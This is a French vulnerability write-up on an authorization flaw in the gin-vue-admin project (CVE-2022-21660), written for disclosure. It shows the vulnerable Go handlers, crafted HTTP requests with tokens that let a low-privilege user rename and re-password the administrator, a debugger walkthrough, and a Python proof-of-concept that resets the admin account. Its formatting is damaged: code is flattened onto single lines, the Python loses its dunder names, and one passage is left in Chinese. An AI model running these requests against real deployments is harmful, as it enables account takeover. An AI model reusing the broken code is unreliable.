
CVE-2022-21660
Bienvenue à tous les experts ! N'hésitez pas à donner une étoile (star) à ce projet.```http https://github.com/flipped-aurora/gin-vue-admin/

Après avoir terminé l'article, demander un CVE a été un peu compliqué, mais heureusement, il a finalement été obtenu ; les employés de GitHub ont répondu rapidement.
> ps : avant la demande de CVE, la soumission au CNVD avait déjà été faite.

### 2. Mise en place de l'environnement
Selon le tutoriel officiel```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
Ensuite, entrez dans le répertoire server.```bash go generate
```bash
go build -o server main.go
Ensuite, il suffit d'exécuter directement le serveur

Ensuite, pour le WEB, entrez dans le répertoire web et saisissez```bash cnpm install || npm install
Ensuite, il suffit d'attendre

Une fois l'installation terminée, la page Web s'ouvrira automatiquement.


Ensuite, initialisez et configurez les informations de la base de données.

Après configuration, cliquez sur Initialiser puis connectez-vous.

### 3. Reproduction des vulnérabilités
### SetUserInfo présente une élévation de privilèges verticale
##### 1. Contournement d'autorisation de l'interface SetUserInfo pour définir les informations personnelles de l'utilisateur
Nous allons directement sur la page de gestion des utilisateurs et créons un rôle utilisateur à faibles privilèges.

On peut voir que les privilèges administrateur ne sont pas attribués ci-dessus. Ensuite, créons un compte et assignons-le à ce groupe de rôles.


L'emplacement de la vulnérabilité se trouve à la ligne 273 du fichier https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
Ici, l'ID transmis n'est pas validé ; l'ID représente l'utilisateur, il suffit de transmettre directement l'ID spécifié pour modifier les informations personnelles de l'utilisateur correspondant.

Tout d'abord, nous utilisons le X-token de l'administrateur pour tester la modification du nom de l'utilisateur dont l'ID est 1 en test1 ; ensuite, nous pouvons voir dans le backend que l'ID de l'administrateur a été modifié en test1.

Ensuite, nous utilisons le Token du compte UzJu_HxSecTeam que nous venons de créer pour le remplacer, et modifions le nom d'utilisateur de l'administrateur en test2.
Tout d'abord, dans les informations personnelles du compte UzJu_HxSecTeam > Modifier le mot de passe, nous modifions le mot de passe comme bon nous semble, puis nous obtenons le Token du compte.

Ce Token appartient au rôle à faibles privilèges ; normalement, un utilisateur à faibles privilèges ne peut pas modifier les informations de l'administrateur.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Nous remplaçons le Token dedans et construisons les données Json suivantes```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Nous remplaçons le Token dans l'interface setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
Ensuite, un message nous indique que la configuration a réussi.

Nous passons alors au compte administrateur pour vérifier s'il a bien été modifié en test2.

On peut voir que l'utilisateur administrateur a été modifié avec succès.
##### 2、L'interface SetUserInfo permet une élévation de privilèges verticale sans condition pour modifier le mot de passe administrateur
Lors du débogage, nous avons découvert que l'interface setUserInfo, qui permet de définir les informations personnelles lors d'une élévation de privilèges, ne permet pas seulement de définir id, username, nickname,headimg, mais peut aussi accepter des paramètres comme password.

Par exemple, nous construisons une requête pour définir le nom d'utilisateur de l'utilisateur ID 1 sur admin et le surnom sur super utilisateur administrateur
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}
此时管理员的密码已经被修改为了qwe@123,尝试登陆

随后成功登录

PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以
首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可
首先我们登录低权限的账号,修改一次密码

我们会抓到一个changePassword的请求,随后将这个请求放入Repeater

随后我们只需要将username这个参数修改为admin即可

随后会提示我们修改成功,然后我们使用新的密码来登录admin

随后成功登录

漏洞出现的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }
> Il y a ici un débat : puisque l'on connaît déjà le mot de passe du compte de quelqu'un d'autre, ne suffirait-il pas de se connecter directement à son compte ? C'est vrai, mais le flux logique de notre programme est le suivant : une fois l'authentification terminée, normalement, l'utilisateur actuel ne peut modifier que le mot de passe de son propre compte. Cependant, ici, il est possible de modifier celui des autres en modifiant l'ID. Vu sous un autre angle, c'est aussi une forme de brute force possible, car la page de connexion est protégée par un code de vérification.
### IV. Analyse du principe de la vulnérabilité
> ps : tout ce qui suit provient de la compréhension d'un script kiddie qui n'a jamais appris Go, n'a jamais fait de développement, et ne connaît que Python.
Tout d'abord, du point de vue de la logique métier normale, pourquoi cela provoque-t-il un dépassement de privilèges ? En réalité, le principe est assez simple. Principalement parce que, lors de la création des permissions d'un rôle, il y a plusieurs paramètres obligatoires. Ce sont ces paramètres qui, une fois sélectionnés, donnent à l'utilisateur la possibilité de faire du dépassement de privilèges (mais on ne peut pas ne pas les sélectionner, car ce sont des paramètres obligatoires par défaut). En fin de compte, le problème logique se situe au niveau du code.

Regardons d'abord les permissions du rôle après sa création.

On peut voir que les permissions de l'utilisateur créé par défaut, dans le menu des rôles, ne comportent qu'une seule permission d'accès au tableau de bord. En revanche, si l'on consulte les permissions API du rôle, on constate que...

Ici, il y a plusieurs permissions obligatoires.
+ Inscription des utilisateurs
+ Définir les informations utilisateur
+ Obtenir ses propres informations
+ Modifier le mot de passe
+ Modifier le rôle de l'utilisateur
C'est également la source de cette vulnérabilité. Tout d'abord, « Définir les informations utilisateur » : si nous décochons cette option.

Ensuite, nous plaçons le token du compte du groupe de rôle à faibles privilèges dans Burp pour faire un essai.
```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}
On voit clairement que nous n'avons plus la permission de définir ces informations utilisateur. De plus, dans la page de débogage de Go, il est facile de remarquer la logique du code : par exemple, nous n'avons actuellement pas le droit de modifier les informations utilisateur, mais théoriquement, dans le code, lorsque j'accède à cette interface, le point d'arrêt de débogage devrait pouvoir intercepter l'exécution. Cependant, comme le montre la figure ci-dessous, après avoir placé le point d'arrêt, le programme ne s'est pas arrêté.

On peut donc en déduire qu'avant cette opération, il doit y avoir une vérification d'authentification (généralement du RBAC, je suppose). Nous allons donc maintenant attribuer des permissions utilisateur au groupe de rôles à faibles privilèges, puis rejouer la requête.


Nous pouvons voir que le programme s'est bien arrêté ici. Je pense donc qu'un débutant en Go (comme moi) devrait pouvoir trouver cette authentification via le débogage :)
D'abord, sous Mac, utilisez Commande + clic gauche pour trouver où cette fonction est appelée.

Ensuite, on peut voir qu'il y a une fonction qui initialise les routes utilisateur : InitUserRouter.

Continuons avec la même méthode : Commande + clic gauche pour déterminer où InitUserRoute est appelé.

Notez ici qu'il y a un JWTAuth() et un middleware.CasbinHandler().
Commençons par examiner middleware.JWTAuth(), toujours avec la même méthode : Commande + clic gauche.

On arrive ensuite sur un fichier jwt.go ; nous pouvons examiner sa logique (merci d'ailleurs à l'auteur pour les commentaires).

En Go, token:= revient à définir une variable qui reçoit le x-token de l'en-tête de la requête. D'abord, on vérifie si le token est vide ; s'il l'est, on retourne directement que l'utilisateur n'est pas connecté ou que l'accès est illégal.

Ensuite, on vérifie si le token de l'utilisateur figure dans la liste noire. Ici, cela doit être déterminé via le cache ou lors de la déconnexion de l'utilisateur, pour savoir si ce token a déjà expiré. S'il a expiré, on retourne un message indiquant à l'utilisateur une connexion depuis un autre endroit ou un token invalide.

Ici, le token est d'abord transmis à la fonction ParseToken pour être analysé ; nous pouvons la suivre pour y jeter un œil.

Je ne sais pas ce qu'est jwt.ParseWithClaims... Comme d'habitude, google.com.

Ici, cela sert au chiffrement/déchiffrement JWT, puis retourne une SigningKey, puis on continue.
Merci à l'auteur pour ses précisions : ici, la chaîne du token JWT transmise est analysée pour obtenir la structure jwt.Token, puis on extrait les Claims de cette structure afin de récupérer les informations utilisateur attachées lors de la génération du token.

Grâce à Google, j'ai appris que ValidationErrorMalformed sert à déterminer si le token est invalide, ValidationErrorExpired à vérifier s'il a expiré, et ValidationErrorNotValidYet à vérifier si le token est activé ; ensuite, on retourne. Il y a encore un bout de code en dessous.

Ensuite, on vérifie si le token a expiré. S'il n'a pas expiré, on arrive au reload. Puis nous arrivons à middleware.CasbinHandler().

D'abord, on entre dans utils.GetClaims en lui passant un paramètre.

Cette fonction sert à récupérer le x-token, puis à analyser ce token pour vérifier s'il a expiré, etc.

Ensuite, on détermine le rôle de l'utilisateur ; ici, 1234 correspond à l'ID du groupe de rôles défini dans notre interface web.


Puis on entre dans casbinService.Casbin(). Comme d'habitude, direction Baidu.

C'est à peu près ce que je supposais : contrôle d'accès RBAC. Ici, on se connecte à la base de données. J'ai essayé d'entrer pas à pas avec F7, mais ça m'a découragé, je n'y comprends rien.

D'après les commentaires, on peut déduire que cela sert à vérifier les permissions.
Traduction automatique : Enforce décide si un « subject » peut accéder à un « object » avec l'opération « action » ; les paramètres d'entrée sont généralement : (sub, obj, act).
Enforce détermine si un « subject » peut accéder à un « object » avec l'opération « action » ; les paramètres d'entrée sont généralement : (sub, obj, act).

Ensuite, on vérifie si on est en environnement de développement, puis success est égal à false. Ici, || signifie « ou » : soit on réussit, soit on obtient un message de permissions insuffisantes.
Voyons maintenant comment se comporte l'interface setuserinfo après avoir obtenu les permissions (le scénario de dépassement de privilèges). D'abord, posons un point d'arrêt au niveau de l'intercepteur.

Astuce : grâce à Baidu, j'ai découvert qu'il s'agit ici du framework de contrôle d'accès Casbin pour Golang
Puis posons aussi un point d'arrêt ici, sur setuserinfo.

Comme l'intercepteur se trouve avant setuserinfo dans la logique du programme, nous commençons le débogage à partir de l'intercepteur.
Après avoir envoyé la requête avec Burp, on attend ; à ce moment-là, nous pouvons déboguer pas à pas pour voir.

À ce moment, notre groupe de rôles est 1234.

Ensuite, on se connecte à la base de données, puis on vérifie les permissions.


Ici, un true est retourné, ce qui indique que la permission existe. Ensuite, on vérifie si on est en environnement de développement ou si success est égal à true ; on passera forcément par le premier if.
Puis on arrive à l'interface setuserinfo.

shouldBindJson lie les paramètres JSON.

Ensuite, ici, ce doit être pour vérifier si les paramètres JSON transmis sont corrects.

En dessous, le userid est directement injecté.

L'ID ici est transmis depuis notre front-end et peut être modifié arbitrairement, ce qui entraîne le dépassement de privilèges.


Ensuite, après l'avoir passé à la base de données, la mise à jour est effectuée et une réponse est renvoyée.

Puis la mise à jour réussit.
Les principales opérations d'authentification se trouvent dans la fonction CasbinHandler du fichier cashbin.rbac.go, notamment casbinService.Casbin() et e.Enforce(sub, obj, act).
Ma compréhension de ce dépassement de privilèges est la suivante : si l'on accorde la permission de modifier les informations utilisateur, alors par défaut, cet utilisateur peut modifier les informations des utilisateurs selon les règles d'autorisation. Ensuite, lors de la modification, il suffit de remplacer l'ID par celui d'une autre personne pour modifier ses informations.
On comprend donc ici que la vérification d'authentification porte d'abord sur AuthorityId pour déterminer si l'utilisateur a le droit d'effectuer une opération sur une interface.

Cependant, l'ID utilisé dans setuserinfo est l'ID du compte utilisateur.

Cela entraîne donc un dépassement de privilèges, car cet ID peut être contrôlé lors de la transmission depuis le front-end, et ce, après l'authentification. Après avoir échangé avec l'auteur, il a expliqué que le correctif est relativement simple : il suffit de forcer l'affectation de user.id à l'ID d'autorisation correspondant au JWT. Ainsi, plus de dépassement de privilèges, car quelle que soit la valeur transmise par le front-end, il y aura toujours en fin de compte une ligne dans le code qui remplace la valeur de user.id par l'ID correspondant au JWT actuel.
Mais dans la logique du processus métier, ces permissions doivent de toute façon être accordées, car sans elles, l'utilisateur actuel ne peut pas modifier ses propres informations.

#!/usr/bin/env python
''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''
import requests import json import sys
class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"
def checkVuln(self):
'''
因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
'''
payload_data = {
"id": 1,
"username": "admin",
"nickName": "超级管理员",
"Password": "qwe@123"
}
# Change the administrator password to qwe@123, because the default administrator ID is 1
headers = {
"x-token": self.jwt_token
}
result = requests.put(url=self.url + self.setUserInfo,
headers=headers,
data=json.dumps(payload_data)
)
if json.loads(result.content)['code'] == 7:
print("[-]Modify the failure")
elif json.loads(result.content)['code'] == 0:
print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
def check_interface_ChangePassword(self):
'''
wait
'''
pass
if name == 'main': try: Banner_2 = '''
/$$ /$$ /$$$$$
| $$ | $$ |__ $$
| $$ | $$ /$$$$$$$$ | $$ /$$ /$$
| $$ | $$|____ /$$/ | $$| $$ | $$
| $$ | $$ /$$$$/ /$$ | $$| $$ | $$
| $$ | $$ /$$__/ | $$ | $$| $$ | $$
| $$$$$$/ /$$$$$$$$| $$$$$$/| $$$$$$/
\______/ |________/ \______/ \______/
Autor: UzJu Email: [email protected] GitHub: github.com/uzju
'''
print(Banner_2)
url = sys.argv[1]
jwt_token = sys.argv[2]
main = GinVueAdminPoc(url, jwt_token)
main.checkVuln()
except:
print("[-]please input url and token")
La méthode check_interface_ChangePassword n'a pas été écrite parce qu'il s'agit en quelque sorte d'une interface de brute force : avant de modifier le mot de passe d'un utilisateur quelconque, il faut connaître le mot de passe du compte à modifier, ce qui revient à de la brute force. C'est pourquoi elle n'est pas incluse ici. Ensuite, pour la méthode checkvuln, l'id dans les données JSON de payload_data peut en réalité être modifié à volonté, et on peut également l'écrire sous forme de boucle for pour itérer, car dans un environnement réel, on ne sait pas si l'ID de l'administrateur est 1, ou alors, en cas d'action malveillante, cela pourrait aussi avoir un certain impact.

### VI. Demande de CVE
> Inutile de parler du CNVD, il a forcément déjà été soumis ; ici, c'est pour demander un CVE.
>
> GitHub délivre les numéros très rapidement, au maximum 3 jours en général ; ici, la demande a été soumise le jour même et le numéro de pré-attribution CVE a été reçu au petit matin du lendemain.
>
> Pour les opérations suivantes, vous devez contacter l'auteur pour qu'il le fasse pour vous, sinon vous n'aurez pas le bouton New Draft security advisory



Dans le champ Description, mettez le contenu de la vulnérabilité, le processus de reproduction et le POC, puis cliquez sur create draft security advisory
**Comme c'était notre première demande, nous avons commis une erreur : nous n'avons créé qu'un brouillon sans faire de requête, ce qui nous a fait perdre 7 jours pour rien.**

Une fois écrit, assurez-vous de faire défiler vers le bas et de cliquer sur request cve id


> Article de référence : https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg
### VII. Remerciements
+ Page d'accueil de l'équipe de l'auteur : https://github.com/flipped-aurora/
+ GitHub de l'auteur : https://github.com/piexlmax
+ Adresse du projet Gin-vue-admin : https://github.com/flipped-aurora/gin-vue-admin